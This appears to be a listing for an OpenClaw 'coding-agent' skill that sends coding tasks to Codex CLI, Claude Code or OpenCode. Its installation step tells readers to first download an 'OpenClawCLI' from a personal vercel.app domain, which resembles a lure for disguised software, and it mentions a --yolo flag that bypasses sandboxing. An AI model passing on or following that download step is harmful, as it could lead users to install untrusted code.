coding-agent

What This Skill Does

The coding-agent skill is a powerful automation bridge that connects the OpenClaw agent to professional-grade coding interfaces like Codex CLI, Claude Code, and OpenCode. It allows the agent to execute complex programming tasks, perform code reviews, and scaffold projects in the background. By utilizing a workdir-centric architecture, the skill ensures that AI agents operate within isolated file system boundaries, preventing unwanted cross-contamination of project files.

Installation

To enable this skill, first install the OpenClawCLI from openclawcli.vercel.app. Once the CLI is present on your system, run the installation command inside your terminal: clawhub install openclaw/skills/skills/thiagoruss0/coding-agentagb2. Ensure you have the necessary environment permissions to execute background processes and manage directories.

Use Cases

This skill is designed for developers who need to offload time-consuming tasks. Common use cases include:

• Automated Scaffold Creation: Quickly generating boilerplate code or game prototypes using the --full-auto flag.
• PR Auditing: Performing deep-dive code reviews by isolating PR branches in temporary worktrees or directories, keeping your main development environment clean.
• Background Refactoring: Running legacy code modernization tasks in the background while continuing other work in the main terminal.
• Batch Processing: Managing multiple concurrent code reviews or analysis tasks via parallel background processes.

Example Prompts

1. "Use the coding-agent to scaffold a new React project in a temp directory with a dark-themed snake game implementation using --full-auto mode."
2. "Review the current pull request in this repository using codex, ensuring you isolate the review to a separate worktree to avoid conflicts."
3. "Run a background analysis on the files in ~/src/auth/ and suggest performance optimizations for the login logic using the coding-agent."

Tips & Limitations

• Safety First: Always use the --yolo flag with extreme caution; it bypasses all safety sandboxing. Prefer --full-auto for standard tasks.
• Context Control: Always define a explicit workdir to prevent the agent from reading unrelated configuration or secret files in your home directory.
• Cleanup: If you clone repositories or create temporary directories for reviews, remember to clean them up after the agent reports success to keep your disk space optimized.
• Execution Mode: Use tmux for interactive debugging where you need to watch output in real-time, and reserve background:true for fire-and-forget tasks.